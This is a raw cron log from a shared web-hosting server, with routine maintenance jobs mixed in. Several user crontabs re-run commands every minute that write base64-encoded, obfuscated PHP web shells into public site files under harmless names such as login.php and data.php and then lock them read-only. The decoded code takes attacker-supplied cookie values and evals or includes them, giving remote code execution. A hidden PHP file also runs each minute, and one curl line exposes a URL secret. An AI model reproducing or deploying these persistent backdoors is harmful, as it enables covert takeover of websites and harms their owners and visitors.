pKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:07:01 medusa CROND[4557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:07:01 medusa CROND[4564]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:07:01 medusa CROND[4558]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:08:02 medusa CROND[29475]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 06:08:02 medusa CROND[29476]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:08:02 medusa CROND[29477]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:08:02 medusa CROND[29478]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:08:02 medusa CROND[29479]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:08:02 medusa CROND[29483]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:08:02 medusa CROND[29486]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:08:02 medusa CROND[29487]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:08:02 medusa CROND[29485]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 06:08:02 medusa CROND[29489]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:08:02 medusa CROND[29492]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:08:02 medusa CROND[29488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:08:02 medusa CROND[29495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:08:02 medusa CROND[29500]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:09:01 medusa CROND[27162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:09:01 medusa CROND[27181]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:09:01 medusa CROND[27207]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 06:09:01 medusa CROND[27263]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:09:01 medusa CROND[27264]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:09:01 medusa CROND[27266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:09:01 medusa CROND[27267]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:09:01 medusa CROND[27270]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:09:01 medusa CROND[27271]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:09:01 medusa CROND[27279]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:09:01 medusa CROND[27281]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:09:01 medusa CROND[27282]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:09:01 medusa CROND[27292]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:10:01 medusa CROND[1781]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:10:01 medusa CROND[1911]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 06:10:01 medusa CROND[1912]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:10:01 medusa CROND[1913]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:10:01 medusa CROND[1914]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:10:01 medusa CROND[1915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1917]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1918]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:10:01 medusa CROND[1920]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 06:10:01 medusa CROND[1921]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:10:01 medusa CROND[1934]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:10:01 medusa CROND[1933]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:10:01 medusa CROND[1925]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 06:10:01 medusa CROND[1936]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:10:01 medusa CROND[1937]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:10:01 medusa CROND[1930]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
